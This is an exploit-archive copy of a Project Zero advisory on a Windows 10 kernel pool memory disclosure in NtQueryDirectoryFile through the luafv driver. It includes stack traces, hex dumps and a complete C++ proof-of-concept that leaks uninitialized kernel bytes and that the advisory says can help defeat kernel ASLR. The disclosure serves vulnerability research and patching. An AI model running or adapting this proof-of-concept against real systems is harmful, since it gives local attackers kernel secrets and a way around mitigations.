ExploitFixes
Microsoft Windows 10 - 'nt!NtQueryDirectoryFile (luafv!LuafvCopyDirectoryEntry)' Pool Memory Disclosure 2017-11-21 18:05:06

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1361

We have discovered that the nt!NtQueryDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients on Windows 10, due to uninitialized fields in the output structure being copied to the application.

The problem manifests itself for information classes FileBothDirectoryInformation and FileIdBothDirectoryInformation, which use the following (or similar) structure:

--- cut ---
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
--- cut ---

We have found that for certain files, such as C:\Windows\explorer.exe, the "ShortNameLength" and "ShortName" fields are not initialized at any point before being passed to a ring-3 client. This leaves 25 bytes of leftover kernel pool memory which can be acquired in a single system call by a malicious local program.

The pool allocation used to store the above structure is made in luafv!LuafvAllocatePool. The act of copying uninitialized kernel memory to user-mode was originally detected under the following stack trace:

--- cut ---
a0e90a28 9d2fb7a6 nt!memcpy+0x35
a0e90a50 9d2fecf4 luafv!LuafvCopyDirectoryEntry+0x52
a0e90a98 9d2fb577 luafv!LuafvCopyNextDirectoryEntry+0x365c
a0e90b14 9d2f8afc luafv!LuafvMergeStoreDirectory+0x93
a0e90b60 9d2f8118 luafv!LuafvQueryStoreDirectory+0xdc
a0e90b7c 89a5328d luafv!LuafvPreDirectoryControl+0xa8
90289adc 8e2bf040 FLTMGR!FltpPerformPreCallbacks+0x2ad
WARNING: Frame IP not in any known module. Following frames may be wrong.
a0e90c20 89a52bf3 0x8e2bf040
a0e90c58 89a52a0b FLTMGR!FltpPassThrough+0x163
a0e90c80 81cb6f53 FLTMGR!FltpDispatch+0x9b
a0e90c9c 81f0c273 nt!IofCallDriver+0x43
a0e90cf0 81f0ac7f nt!IopSynchronousServiceTail+0x133
a0e90d20 81d51c97 nt!NtQueryDirectoryFile+0x5f
a0e90d20 77a74d10 nt!KiSystemServicePostCall
00cadc48 77a727ba ntdll!KiFastSystemCallRet
00cadc4c 747ac7f0 ntdll!NtQueryDirectoryFile+0xa
00cadf58 747ac486 KERNELBASE!FindFirstFileExW+0x360
00cadf78 747b3d18 KERNELBASE!FindFirstFileW+0x16
00cae234 00d48a65 KERNELBASE!GetLongPathNameW+0x208
--- cut ---

when smartscreen.exe called the documented GetLongPathNameW API against "C:\Windows\explorer.exe".

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for luafv.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 .....EEEEEEEEEEE
00000050: 45 45 45 45 45 45 45 45 45 45 45 45 45 45 65 00 EEEEEEEEEEEEEEe.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d .....===========
00000050: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 65 00 ==============e.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

#define FileBothDirectoryInformation ((FILE_INFORMATION_CLASS)3)

extern "C"
NTSTATUS WINAPI NtQueryDirectoryFile(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE Event,
_In_opt_ PIO_APC_ROUTINE ApcRoutine,
_In_opt_ PVOID ApcContext,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass,
_In_ BOOLEAN ReturnSingleEntry,
_In_opt_ PUNICODE_STRING FileName,
_In_ BOOLEAN RestartScan
);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}

printf("\n");
}
}

int main() {
// Open the disk device.
HANDLE hDir = CreateFile(L"C:\\Windows", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("CreateFile failed, %d\n", GetLastError());
return 1;
}

// Obtain the output data, assuming that it will fit into 1024 bytes.
IO_STATUS_BLOCK iosb;
UNICODE_STRING FileName;
RtlInitUnicodeString(&FileName, L"explorer.exe");

BYTE OutputBuffer[1024];
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));

NTSTATUS st = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, OutputBuffer, sizeof(OutputBuffer), FileBothDirectoryInformation, TRUE, &FileName, FALSE);
if (NT_SUCCESS(st)) {
PrintHex(OutputBuffer, iosb.Information);
} else {
printf("NtQueryDirectoryFile failed, %x\n", st);
}

CloseHandle(hDir);

return 0;
}